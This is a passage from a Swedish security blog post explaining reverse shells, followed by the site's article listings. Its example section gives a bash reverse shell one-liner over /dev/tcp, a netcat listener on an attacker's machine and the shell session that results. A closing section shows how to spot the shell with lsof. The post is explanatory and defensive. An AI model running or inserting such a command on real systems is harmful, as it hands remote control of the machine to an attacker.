Blandade säkerhetstips, del 4 – reverse shell
Reverse shell är precis vad det låter som, ett omvänt skal. Istället för att angriparen ansluter till offrets dator, ansluter ett reverse shell istället från offret till angriparens dator. Detta gör att brandväggen som vi ofta förlitar oss på inte hjälper särskilt mycket här. Anslutningen går ju ut mot internet, inte in till offrets dator. Dessutom lyssnar angriparen ofta på en vanlig port, exempelvis 80 eller 443, för att inte bli blockerad eller upptäckas.
Att stoppa ett reverse shell är därför inte helt enkelt. Det går dock (oftast)
att upptäcka i processlistan med lsof -i
.
Men först ska vi titta på vad ett reverse shell är och hur det fungerar.
Ett exempel
Först startar angriparen en lyssnare som lyssnar efter inkommande anslutningar.
Ett vanligt verktyg för detta är netcat
(ibland förkortat nc
). I detta
exempel är angriparens dator 192.168.0.49.
På angriparens dator (192.168.0.49)
Nu startar vi lyssnaren på angriparens dator med nc
. Växeln -l
står för
listen, -v
för verbose, -p
för port. Porten jag väljer här är 8080:
jake@attacker:~> nc -lvp 8080
listening on [any] 8080 ...
På offrets dator (192.168.0.19)
På något sätt måste nu angriparen initiera anslutning till sin egna dator. Ofta sker detta genom en hackad eller dåligt konfigurerad webbapplikation eller dylikt. Det skulle också kunna vara så att angriparen lurar offret att köra ett program eller skript. Det finns många sätt en angripare kan initiera anslutningen på. Det enda som behövs är att angriparen på något sätt kan exekvera ett enstaka kommando på offrets dator. Här kommer vi att exekvera det manuellt:
jake@victim:~> bash -i >& /dev/tcp/192.168.0.49/8080 0>&1
På angriparens dator (192.168.0.49)
I terminalen på angriparens dator som startade lyssnaren ser vi nu att offret har anslutit till oss. Vi har också ett skal på offrets dator som vi kan använda för att exekvera valfria kommandon i:
listening on [any] 8080 ...
connect to [192.168.0.49] from [192.168.0.19] 51854
jake@victim:~> hostname
victim
jake@victim:~> ls
Documents
Downloads
Pictures
me.jpg
Eftersom Bash finns på i princip alla Linux- och Unix-datorer behövs inte ens något speciellt program laddas ner på offrets dator. Allt som behövs finns redan.
Skydd
Eftersom det omvända skalet kan använda vilken port som helst går det inte att söka efter en specifik port för att upptäcka intrånget. Enda möjliga lösningen är således att försöka hitta den misstänkta processen. Men inte heller detta är helt säkert. Det går att öppna ett reverse shell på många olika sätt, exempelvis med Netcat, Bash, Python, Perl etc.
I vårt exempel med Bash kan vi hitta det omvända skalet med lsof
eftersom det
är den enda Bash-processen som är har en aktiv TCP-anslutning. Dessutom är både
standard input (0), standard output (1) och standard error (2) omdirigerade.
Växeln -i
betyder internet adress:
root@victim:~> lsof -i
...
bash 74452 jake 0u IPv4 16112937 0t0 TCP 192.168.0.19:51854->192.168.0.49:webcache (ESTABLISHED)
bash 74452 jake 1u IPv4 16112937 0t0 TCP 192.168.0.19:51854->192.168.0.49:webcache (ESTABLISHED)
bash 74452 jake 2u IPv4 16112937 0t0 TCP 192.168.0.19:51854->192.168.0.49:webcache (ESTABLISHED)
...
Kommentarer
Kommentarsfältet är modererat. Det innebär att alla kommentarer granskas av ansvarig utgivare före publicering.
Du väljer själv om du vill ange ditt riktiga namn, en pseudonym eller vara helt anonym. Ingen registrering behövs.
Relaterade artiklar
-
Var försiktig med att curl:a skript som root
Att installera program i Linux genom att omdirigera utdata från Curl till skalet är snabbt och smidigt. Men det är ack så farligt om du inte känner till programmet eller dess ursprung.
-
Vidarebefordran av SSH-agenten
SSH agent forwarding, eller vidarebefordran av SSH-agenten, innebär att man kan vidarebefordra SSH-agenten till ett fjärrsystem. På så sätt behöver man inte kopiera sin privata SSH-nyckel till fjärrsystemet, eller skapa flera nycklar för olika system. Men det finns risker med det.
-
Jenkins som ett alternativ till Ansible Tower
Ansible Tower kommer med en stor prislapp, speciellt för ett mindre företag eller en privatperson. AWX å andra sidan är helt fritt, men kräver numera Kubernetes. För den som vill automatisera sina Ansible Playbooks går det dock bra att använda Jenkins som en ersättning för Tower och AWX.
-
Hämta data från API:er med cURL och jq
Med cURL och jq går det att extrahera data från API:er direkt från kommandoraden. Jq är en JSON-tolkare och beskrivs av utvecklarna som sed och awk för JSON.
-
Det nya Docker Compose
Sedan i mitten av förra året har det gamla Python-baserade
docker-compose
-kommandot sakta ersatts av det nyare Go-baseradedocker compose
. Det nya kommandot är ett plugin till Docker istället för ett fristående kommando som tidigare.
Senaste nyheterna och inläggen
-
PGP-krypterat formulär
Jag blev inspirerad av Tutanotas Secure Connect – ett säkert webbformulär som skickar uppgifterna krypterat direkt till inkorgen. Skulle det inte gå att bygga något liknande med PGP? Det gick, och det var dessutom förvånansvärt enkelt då det redan finns ett GnuPG-bibliotek för PHP.
-
Var försiktig med att curl:a skript som root
Att installera program i Linux genom att omdirigera utdata från Curl till skalet är snabbt och smidigt. Men det är ack så farligt om du inte känner till programmet eller dess ursprung.
-
DOSBox för att programmera gamla personsökare
DOSBox kan användas till betydligt mer än bara gamla spel. Ett intressant användningsområde är att kunna använda gamla DOS-program för att programmera diverse enheter över serieporten. Oftast behövs inte ens en serieport, istället går det att använda en USB-serieportsadapter.
-
GDPR som ett stöd, inte ett hinder
Företag, föreningar och kommuner borde se GDPR som ett stöd och en vägledning, inte ett hinder. Trots det är det många som väntar ut Schrems II-domens efterspel för att inte behöva göra något. Andra försöker komma runt GDPR på olika sätt. Men man får glömma inte bort vem GDPR ska skydda – organisationens viktigaste tillgångar; kunderna, medlemmarna och invånarna.
-
Vidarebefordran av SSH-agenten
SSH agent forwarding, eller vidarebefordran av SSH-agenten, innebär att man kan vidarebefordra SSH-agenten till ett fjärrsystem. På så sätt behöver man inte kopiera sin privata SSH-nyckel till fjärrsystemet, eller skapa flera nycklar för olika system. Men det finns risker med det.
Utvalda artiklar
-
Poliser satte dit oskyldig
Två poliser dömdes i juni till vardera ett års fängelse av Lunds tingsrätt för att ha misshandlat och gripit en oskyldig man i hans bostad i Landskrona. Händelsen ägde rum en natt i mars förra året och spelades in av en övervakningskamera i mannens bostad.
-
Retroloppis i Påarp
Idag var det retroloppis hos Andreas Nilsson i Påarp. På baksidan av huset fanns hundratals spel uppradade på långa bord. Trots friska vindar och sval temperatur var loppisen välbesökt.
-
Stort deltagande på årets Gubbdata
I helgen var det Gubbdata i Lund – ett av Sveriges största demoparty. På plats fanns cirka ett hundra deltagare, alla med en passion för retrodatorer.
-
Kapad identitet
I mitten av september förra året blev Kristina utsatt för ett id-kapningsförsök. Någon hade ansökt om ett lån på 250 000 kr i hennes namn. Låneansökan gick ut till ett 20-tal banker.
-
Amiga-scenen lever än
I en villa mellan Ljungskile och Stenungsund den 27 november träffades de igen, ett gäng glada Amiga-entusiaster. Man träffas för att prata, titta på demos, spela och ha allmänt trevligt.
CyberInfo Sverige är ett IT- och medieföretag i nordvästra Skåne som tillhandahåller böcker, utbildningar, nyheter och konsulttjänster inom Linux, säkerhet och programmering.
CyberInfo Sverige är godkänd för F-skatt, är momsregistrerat och innehar
utgivningsbevis för webbplatsen www.cyberinfo.se.